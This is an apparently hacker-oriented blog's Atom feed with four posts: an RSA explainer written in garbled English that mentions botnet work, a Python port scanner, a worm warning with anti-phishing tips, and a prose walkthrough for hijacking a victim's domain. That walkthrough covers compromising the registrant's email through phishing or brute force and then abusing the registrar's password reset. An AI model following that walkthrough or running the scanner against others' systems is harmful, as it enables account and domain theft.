<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1037799212658950396</id><updated>2024-08-29T17:45:23.041+05:30</updated><title type='text'>Information Security Regeneration </title><subtitle type='html'>A Step To Make Knowledge Free To All...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://infosec-regeneration.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>34</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-9209572963848858134</id><published>2012-12-30T01:32:00.005+05:30</published><updated>2012-12-30T01:34:40.803+05:30</updated><title type='text'>RSA encryption algorithm, or they are afraid the feds America</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;/h2&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: purple; font-size: x-large;&quot;&gt;RSA encryption algorithm, or they are afraid the feds America&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.cs.virginia.edu/~evans/dragoncrypto/rsa.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.cs.virginia.edu/~evans/dragoncrypto/rsa.jpg&quot; height=&quot;276&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Today I want to tell you about an excellent encryption algorithm RSA. The idea to write the message appears in the writing of code encryption botnet. The solution is technology that the U.S. government at the time were very much afraid. Even banned a program, on some lines written on Perl&#39;e, and the people to protest, printed on T-shirts the code of this program.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://imps.mcmaster.ca/courses/SE-4C03-07/wiki/wrighd/rsa-photo.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://imps.mcmaster.ca/courses/SE-4C03-07/wiki/wrighd/rsa-photo.jpeg&quot; height=&quot;140&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;So a little history:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
RSA (alphabetic abbreviation of the names Rivest, Shamir and Adleman) - a cryptographic public key algorithm. RSA algorithm is the first of a type suitable for both encryption and digital signatures. The algorithm is used in a large number of cryptographic applications. published in November 1976 article Whitfield Diffie and Martin Hellman, &quot;New Directions in Cryptography&quot; turned the idea of cryptographic systems, laying the foundations of public key cryptography. Subsequently developed Diffie-Hellman-Merkle allows two parties to get a shared secret key over an insecure channel. However, this algorithm did not solve the problem of authentication. Without additional funds, one of the users could not be sure that he exchanged with the key of the user, which he needed. After reading this article, three scientists Ronald Rivest (Ronald Linn Rivest), Adi Shamir (Adi Shamir) and Leonard Adleman ( Leonard Adleman) from the Massachusetts Institute of Technology (MIT) have begun the search for a mathematical function that would allow you to implement formulated Whitfield Diffie and Martin Hellman model of a cryptographic system with a public key. After working on more than 40 possible variants, they managed to find an algorithm based on the difference in how easy to find large prime numbers and the difficulty lay factoring the product of two large prime numbers, which later received the name of the RSA. The system was named for the first letters of the names of its creators. Description RSA was published in August 1977 in the journal Scientific American. RSA authors supported the idea of its active distribution. In turn, the National Security Agency (USA), for fear of using this algorithm in the state structures, for several years unsuccessfully called for halting the spread of the system. The situation sometimes reaches the point of absurdity - for example, when a programmer Adam Beck (Adam Back) described in Perl algorithm RSA, consisting of five lines, the U.S. government banned the distribution of this program outside the country. People are dissatisfied with such restrictions, in protest of the printed text of the program on their shirts. In 1977, the creators of RSA was encrypted phrase «The Magic Words are Squeamish Ossifrage» («The magic words - is squeamish vulture&quot;). For decoding was promised a reward of $ 100. Only at the end of 1995 could practically implement disclosure RSA cipher for a 500-character key. For six months, more than 600 volunteers donate CPU 1600 machines (two of which were fax machines). Coordination took place through the Internet, and it was one of the first such distributed computing projects. This award winners donated to the Free Software Foundation. in December 1997 has been published information according to which British mathematician Clifford Cox (Clifford Cocks), who worked in the Government Communications Headquarters (GCHQ) UK, described a similar RSA cryptosystem in 1973. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;A&lt;/span&gt; Little about encryption : -&lt;/span&gt; Depending on the structure of the keys used encryption methods are divided into: &lt;br /&gt;
&lt;b&gt;Symmetric encryption:&lt;/b&gt; outsiders can be known encryption algorithm, but a small portion is unknown classified information - the key is the same for the sender and the receiver of the message;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/proxy/AVvXsEipg62Jq53HJ5-FlkmHC6BTVJ70u_oOIfXv6k6QMdwKXmo7FONPEUrSi5R1oDGL2X9AVelo5w2evsGj9c7Rv-APszRYDtAxPSetLc_A3zUiRbHQZ3BF8ySOgZ8l8BVzOMwO0MNY6f8ZhwcJYotWpQ=&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.holowczak.com/rsademo/publickey.gif&quot; height=&quot;168&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;nbsp;Examples: DES, 3DES, AES, Blowfish, twofish. asymmetric-encryption: outsiders may know the encryption algorithm, and possibly the public key, but do not know the private key known only to the recipient. Cryptographic system with a public key is now widely used in a variety of network protocols, such as the protocols TLS and its predecessor SSL (underlying HTTPS), as well as SSH, PGP, S / MIME, etc. &lt;br /&gt;
The Russian standard, using asymmetric encryption. Currently asymmetric cryptography based on public key RSA (stands for Rivest, Shamir and Aldeman - creators of the algorithm) uses most of the products on the security market. cryptographic It is based on the complexity of factoring large numbers - namely, to exceptionally difficult task to determine the private key on the basis of open, since this would require to solve the problem of the existence of divisors of an integer. Most systems use a cryptographically strong 1024-bit and big numbers. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&amp;nbsp;Consider RSA algorithm from a practical point of view. &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
First we need to generate a public and private key: -Take two large prime numbers P and q. define-n, by multiplying P on q (n = P * q). -We choose a random number, which we call d. This number must be prime to the product of (p-1) * (q-1). - We define a number e, for which the following relation is true (e * d) mod ((p-1) * (q- 1)) = 1. Hazovem-public key of e and n, and the secret - d and n.&lt;br /&gt;
&lt;br /&gt;
__________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
To encrypt data on the public key {e, n}, you will need: -encrypted text divided into blocks, each of which can be expressed as the number of M (i) = 0,1,2 ..., n-1 (ie, only up to n-1). cipher-text, considered as a sequence of numbers M (i) by the formula C (i) = (M (I) ^ e) mod n. To decrypt the data using the private key {d, n}, do the following calculation: M (i) = (C (i) ^ d) mod n. As a result, you receive a set of numbers M (i), which are the source code. _________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;The following example illustrates the encryption algorithm RSA: encrypts and decrypt the message &quot;CAB&quot; algorithm RSA. For simplicity we take small numbers - it will reduce our calculations. We choose p = 3 and q = 11. We define n = 3 * 11 = 33. Haydem-(p-1) * (q-1) = 20. Therefore, d is equal to, say, 3: (d = 3). , choose a number e as follows: (e * 3) mod 20 = 1. So e will be the same, for example, 7: (e = 7). represent-key encrypted message as a sequence of numbers in the range from 0 to 32 (Unforgettable, that ends at n-1). The letter A = 1, B = 2, C = 3. now encrypts the message using the public key {7.33} C1 = (3 ^ 7) mod 33 = 2187 mod 33 = 9; C2 = (1 ^ 7) mod 33 = 1 mod 33 = 1; C3 = (2 ^ 7) mod 33 = 128 mod 33 = 29; Now decrypt data using a private key {3.33}. M1 = (9 ^ 3) mod 33 = 729 mod 33 = 3 (C); M2 = (1 ^ 3) mod 33 = 1 mod 33 = 1 (A); M3 = (29 ^ 3) mod 33 = 24 389 mod 33 = 2 (B), data decrypted! And so it acts this algorithm RSA! The article, though not big, but useful, and brings valuable information for both novice and experienced programmers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thanks,&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &lt;/div&gt;
&lt;/div&gt;

&lt;!-- Blogger automated replacement: &quot;https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2Fwww.holowczak.com%2Frsademo%2Fpublickey.gif&amp;amp;container=blogger&amp;amp;gadget=a&amp;amp;rewriteMime=image%2F*&quot; with &quot;https://blogger.googleusercontent.com/img/proxy/AVvXsEipg62Jq53HJ5-FlkmHC6BTVJ70u_oOIfXv6k6QMdwKXmo7FONPEUrSi5R1oDGL2X9AVelo5w2evsGj9c7Rv-APszRYDtAxPSetLc_A3zUiRbHQZ3BF8ySOgZ8l8BVzOMwO0MNY6f8ZhwcJYotWpQ=&quot; --&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/9209572963848858134'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/9209572963848858134'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/12/rsa-encryption-algorithm-or-they-are.html' title='RSA encryption algorithm, or they are afraid the feds America'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-4603241030155481306</id><published>2012-12-10T03:26:00.002+05:30</published><updated>2012-12-10T03:27:39.349+05:30</updated><title type='text'>Hijacking DOMAIN </title><content type='html'>&lt;h3 class=&quot;post-title entry-title&quot; itemprop=&quot;name&quot; style=&quot;text-align: center;&quot;&gt;
Hijacking DOMAIN&amp;nbsp; &lt;/h3&gt;
&lt;div class=&quot;post-body entry-content&quot; id=&quot;post-body-1256775068756642593&quot; itemprop=&quot;articleBody&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
 The domain hijacking is a form a little out of the mainstream because 
it would be a little more focused on social engineering because it is 
part of an attack directed at a specific victim in this case would be 
the original person and owner of the domain is that victim who owns the 
email that made the registration, the email I buy the domain # Epico 
since in certain forms intervene an email is much easier to make the 
intrusion itself to this website for brute force tools abound, phishing,
 email cracking or just send an email and wait wing victim to open it 
using a little social engineering we are talking about 65% in each wing 
victim sending mail.  Well for that we must understand that in the hijacking DOMAIN two things only start the DNS and hosting. &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
 Which means each and everyone must know both the hosting and DNS has 
its own panel but where would we focus on specifically PANEL which can 
handle DNS routing services. &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
 Now go back to the attack of linking to domain hijacking first thing we have is the access panel for it having DNS information: &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
 &amp;gt; The name of the domain that will make the kidnapping. &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
 &amp;gt; The email address to which the record was made of the domain. &lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
 This useful information is very easy to get what we can do with a 
domain whois domain the victim and we introduce a simple enter and begin
 the search for information about the domain in which we are performing 
the attack once it finishes loading the data we WHOIS RECORD is where 
e-mail, provided by XXX company registration, ETC. &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSH7s9gECI6FychxzFHmpxCmJOpSW6PSmsLtZzz2Pp9b1jZOmQKzJBGqxDfTIEleAJCEA8WcJmzgRu3KaN5kz_OTYNybvqM9fqwpf5BMycvjA5376mffU1mQ8gBYFtqaixYlO-3YPZW7s/s640/nissan.png&quot; height=&quot;596&quot; width=&quot;640&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
 Once you take control over this information and taking into account the
 administrative mail DNS service proceeds to intervene once made the 
account headed domain provider and we click on the &lt;lost my=&quot;my&quot; password=&quot;password&quot;&gt; and automatically sends us link to reset your password to 
enter the DNS PANEL clear this was done after the intervention to that 
email and in it we would realize only a redirect page if not all domains
 registered to that email account.&lt;/lost&gt;  # END # 1 &lt;/div&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/4603241030155481306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/4603241030155481306'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/12/hijacking-domain.html' title='Hijacking DOMAIN '/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSH7s9gECI6FychxzFHmpxCmJOpSW6PSmsLtZzz2Pp9b1jZOmQKzJBGqxDfTIEleAJCEA8WcJmzgRu3KaN5kz_OTYNybvqM9fqwpf5BMycvjA5376mffU1mQ8gBYFtqaixYlO-3YPZW7s/s72-c/nissan.png" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-7762056354308019570</id><published>2012-11-29T02:49:00.003+05:30</published><updated>2012-11-29T02:49:39.501+05:30</updated><title type='text'>A Simple Port Scanner [Python]</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;A Simple Port Scanner [Python]&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;import sys,os&lt;br /&gt;from socket import *&lt;br /&gt;os.system(&#39;clear&#39;)&lt;br /&gt;&lt;br /&gt;def about():&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;###################################################&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;# Simple Port Scanner&quot; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;# Coded By nu11_()_v0!d&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;# Powered By Team OpenFire&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;# Blog: infosec-regeneration.blogspot.com&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;#&quot;&lt;br /&gt;def usage():&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;[?] usage : ./portScan.py 1 65500 IP --- All PORTS&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print &quot;[?] usage : ./portScan.py 21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IP --- Single PORT&quot;&lt;br /&gt;&lt;br /&gt;def main():&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (int(len(sys.argv))==1):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; about()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; usage()&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (int(len(sys.argv)) == 3):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; #one port&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; about()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; try:socket(AF_INET, SOCK_STREAM).connect((sys.argv[2], int(sys.argv[1]))); print &quot;[!] PORT : &quot;, int(sys.argv[1]),&quot; OPEN&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; except: pass&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (int(len(sys.argv)) == 4):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; #range&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; about()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; port = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; for port in range( int(sys.argv[1]) , int(sys.argv[2]) ):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; try:socket(AF_INET, SOCK_STREAM).connect((sys.argv[3], port)); print &quot;[!] PORT : &quot;, port,&quot; OPEN&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; except: pass&lt;br /&gt;main()&lt;br /&gt;print &quot;http://infosec-regeneration.blogspot.com&quot;&lt;br /&gt;print &quot;###################################################&quot;&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/7762056354308019570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/7762056354308019570'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/11/a-simple-port-scanner-python.html' title='A Simple Port Scanner [Python]'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-6585143129846335451</id><published>2012-11-18T01:35:00.000+05:30</published><updated>2012-11-20T01:27:16.752+05:30</updated><title type='text'>Skype and Messenger Used to Spread a new type of Worm</title><content type='html'>&lt;div class=&quot;messageContent&quot;&gt;
&lt;br /&gt;
&lt;article&gt;
    &lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: &#39;arial black&#39;;&quot;&gt;&lt;b&gt;Skype and Messenger Used to Spread a new type of Worm&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
[&lt;span style=&quot;color: cyan;&quot;&gt;found on underground forums&lt;/span&gt;]&lt;/div&gt;
&lt;br /&gt;
Since Saturday, there&#39;s a worm actively spreading through (mainly) Skype
 as well as Messenger (Windows Messenger, Microsoft MSN Messenger).&lt;br /&gt;
&lt;br /&gt;
Someone who&#39;s infected with this worm will send you the following message:&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;img alt=&quot;[IMG]&quot; class=&quot;bbCodeImage LbImage&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv4NGfBWvPGE2-0aKMiAMUv1XdYF77LIOX3FWWKEL7-NnxXvuRkaqR7VUi2Piq-ZVaOovTeoTKL4dvufdHYpvcwDnZcCJ6uBlXzAfo4-JPIED40EPni7Wp8OkrofnMsho_PEqGwiIKUHdU/s1600/skype.jpg&quot; /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: xx-small;&quot;&gt;&lt;i&gt;Message in German asking to check your cool pictures&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;The link &lt;/span&gt;refers to &lt;i&gt;goo.gl&lt;/i&gt; 
and is actually Google&#39;s URL Shortener service. You&#39;ll land on 
Hotfile.com, which is a legitimate file sharing website. (it&#39;s not the 
first time Hotfile has been used to spread malware, read more &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://bartblaze.blogspot.com/2011/01/hotfile-used-to-spread-malware.html&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;. The file has already been removed by Hotfile.)&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;Some note regarding it :&lt;/span&gt; 

&lt;br /&gt;
&lt;div class=&quot;bbCodeBlock bbCodeCode&quot;&gt;
&lt;div class=&quot;type&quot;&gt;
Code:&lt;/div&gt;
&lt;pre&gt; You should [B]never[/B] trust an email which has:
 
- only a URL included in the message
- crappy spelling and grammar if there is content in the message
- been sent out to everyone in the sender&#39;s address book
- been sent from an unknown sender
- promises you can buy something for a very cheap price
- No subject or strange subjects ( eg.: &quot;[I]0 enjoy yourself[/I]&quot; )
 
Never reply to this kind of email, simply delete it and don&#39;t look back ;) .
 
&amp;nbsp; If you have downloaded a program and you are unsure about
its intentions, you can always&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; upload it to VirusTotal or other online
virusscanners (VirScan, Jotti). Keep in mind that if a file is not detected by
any engine, it is not necessarily clean!&lt;/pre&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;EN-US&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;true&quot;
  DefSemiHidden=&quot;true&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;267&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
